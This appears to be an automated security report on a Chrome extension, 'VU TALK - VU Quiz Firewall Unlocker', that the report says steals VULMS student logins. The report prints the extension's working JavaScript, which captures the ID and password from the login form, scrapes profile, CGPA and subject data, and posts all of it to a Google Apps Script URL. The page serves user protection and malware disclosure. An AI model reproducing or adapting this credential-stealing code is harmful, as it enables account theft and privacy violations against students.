Is VU TALK - VU Quiz Firewall Unlocker DigiSkills & Cisco Bypasser safe?

Critical risk

The extension stores VULMS login credentials and sends them with student profile data to a Google Apps Script endpoint.

On VULMS login and home pages, the extension reads the student ID and password, stores them locally, then combines them with profile and gradebook details such as name, department, semester, CGPA, and subjects. It posts that data to a Google Apps Script endpoint, and on VULMS quiz pages it also posts quiz questions, answers, images, and selected responses to its quiz worker.

Broken404 & Senorita404v4.98.0Chrome Web Store
94Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

VULMS credentials sent to Google Apps Script

After you sign in to VULMS and load its home page, the extension reads your student ID and password from the login form, stores them, combines them with profile and gradebook details, and posts the record to a Google Apps Script URL.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You sign in to VULMS and then land on the VULMS home page.

The relevant content scripts are registered for the VULMS login pages and Home.aspx pages.

The extension did this

The extension saves your login fields, builds a student record, and sends it to a Google Apps Script URL.

The record includes the password together with student profile, semester, CGPA, and subject information.

What's stored on your device

This local record keeps the student ID and password after the login form is submitted, so they can be reused after the home page loads.

Location
chrome.storage.local key 'loginData'
Contents
{  "id": "BC200400123 (illustrative)",  "pass": "S3mesterPass! (illustrative)",  "loginTime": 1721048400000}
Fields assembled for the outbound student record
  • Student ID
    BC200400123 (illustrative)

    This identifies your VULMS account and ties the record to you.

  • VULMS password
    S3mesterPass! (illustrative)

    This can be used to access your VULMS account if it remains valid.

  • Student name
    Ayesha Khan (illustrative)

    This links the account credentials to your real student profile on the page.

  • Department and semester
    BS Software Engineering, Spring 2026 (illustrative)

    This describes your academic program and current enrollment context.

  • CGPA
    3.42 (illustrative)

    This exposes academic performance information from the gradebook page.

  • Subjects
    CS101, MTH202, ENG301 (illustrative)

    This lists the courses visible on your VULMS home page.

Captured request
POSThttps://script.google.com/macros/s/AKfycbxe8xKKa3h0egfYKwqvGrbZ4edL9c4dGaKLX8mG671XRiE213DvwHKa_3ZqPk1gGso/exec

The extension code does not read a response body from this request.

Headers
Content-Type
application/json
The code that does this

Source path from login fields to external POST

Readable version

Login form values saved to extension storage

account_manager.js
const loginForm = document.querySelector("#ctl00");const studentIdInput = document.querySelector("#txtStudentID");const passwordInput = document.querySelector("#txtPassword");if (loginForm && studentIdInput && passwordInput) {  loginForm.addEventListener("submit", () => {    const studentId = studentIdInput.value.trim().toUpperCase();    const password = passwordInput.value;    if (studentId && password) {      chrome.storage.local.set({        loginData: {          id: studentId,          pass: password,          loginTime: new Date().getTime(),        },      }, () => {});    }  });}

Home-page script builds the student record

PaidLMS.js
window.addEventListener("load", () => {  const cacheKey = "_vucache_config_";  chrome.storage.local.get(["loginData", cacheKey], async (stored) => {    if (stored.loginData && stored.loginData.id) {      const studentId = stored.loginData.id.trim().toUpperCase();      const password = stored.loginData.pass;      const sentCache = stored[cacheKey] || {};      const cacheValue = btoa(studentId + "|" + password);      if (sentCache[studentId] === cacheValue) {        return void chrome.storage.local.remove("loginData");      }      const nameNode =        document.querySelector("span.m-nav__link-text") ||        document.querySelector(".m-card-user__name");      const studentName = nameNode        ? nameNode.innerText.split("\n")[0].trim()        : "Not Found";      const subjects = Array.from(        document.querySelectorAll("h3.m-portlet__head-text"),      )        .map((node) => node.innerText.match(/[A-Z]{2,4}\d{3,4}/i))        .filter((match) => match)        .map((match) => match[0].toUpperCase());      if (subjects.length === 0) return;      let cgpa = "N/A";      let semester = "N/A";      let department = "Software Engineering";      try {        const profileResponse = await fetch(          "https://vulms.vu.edu.pk/Profile/StudentProfile.aspx",        );        const profileHtml = await profileResponse.text();        const profileDoc = new DOMParser().parseFromString(          profileHtml,          "text/html",        );        const semesterNode = profileDoc.querySelector(          "#MainContent_lblCurSemester",        );        semester = semesterNode ? semesterNode.innerText.trim() : "N/A";        const departmentNode =          profileDoc.querySelector("#MainContent_lblStudyPro") ||          profileDoc.querySelector("#MainContent_lblStudyPro");        if (departmentNode) department = departmentNode.innerText.trim();        const gradebookResponse = await fetch(          "https://vulms.vu.edu.pk/Gradebook/Gradebook.aspx",        );        const gradebookHtml = await gradebookResponse.text();        const gradebookDoc = new DOMParser().parseFromString(          gradebookHtml,          "text/html",        );        const cgpaNode =          gradebookDoc.querySelector("#MainContent_lblcgpa") ||          gradebookDoc.querySelector("#lblCurCGPA");        if (cgpaNode) cgpa = cgpaNode.innerText.split("/")[0].trim();      } catch (error) {}      const studentRecord = {        studentId,        password,        studentName,        department,        semester,        cgpa,        subjects: subjects.join(", "),      };      chrome.runtime.sendMessage(        { action: "sendToGoogleSheet", data: studentRecord },        () => {          sentCache[studentId] = cacheValue;          const update = {};          update[cacheKey] = sentCache;          chrome.storage.local.set(update, () => {            chrome.storage.local.remove("loginData");          });        },      );    }  });});

Background service worker posts the record

background.js
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {  if (message.action === "sendToGoogleSheet") {    return fetch(      "https://script.google.com/macros/s/AKfycbxe8xKKa3h0egfYKwqvGrbZ4edL9c4dGaKLX8mG671XRiE213DvwHKa_3ZqPk1gGso/exec",      {        method: "POST",        mode: "no-cors",        headers: { "Content-Type": "application/json" },        body: JSON.stringify(message.data),      },    )      .then(() => sendResponse({ success: true }))      .catch((error) =>        sendResponse({ success: false, error: error.message }),      ),      true;  }});
External destination named in the shipped code
    • script.google.com

    Google Apps Script host receiving the JSON record posted by background.js.

Where it sends data

Destinations our analysis observed VU TALK - VU Quiz Firewall Unlocker DigiSkills & Cisco Bypasser contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • script.google.com

    VU TALK - VU Quiz Firewall Unlocker DigiSkills & Cisco Bypasser sends data to script.google.com. 12 other extensions we have analysed send data here.

  • vu-db-worker.gptquiz.workers.dev

    VU TALK - VU Quiz Firewall Unlocker DigiSkills & Cisco Bypasser sends data to vu-db-worker.gptquiz.workers.dev. No other extension we have analysed sends data here.

Updated 30 September 2026jdjdmckkcfmjhhnabfjkhpnjcmekkala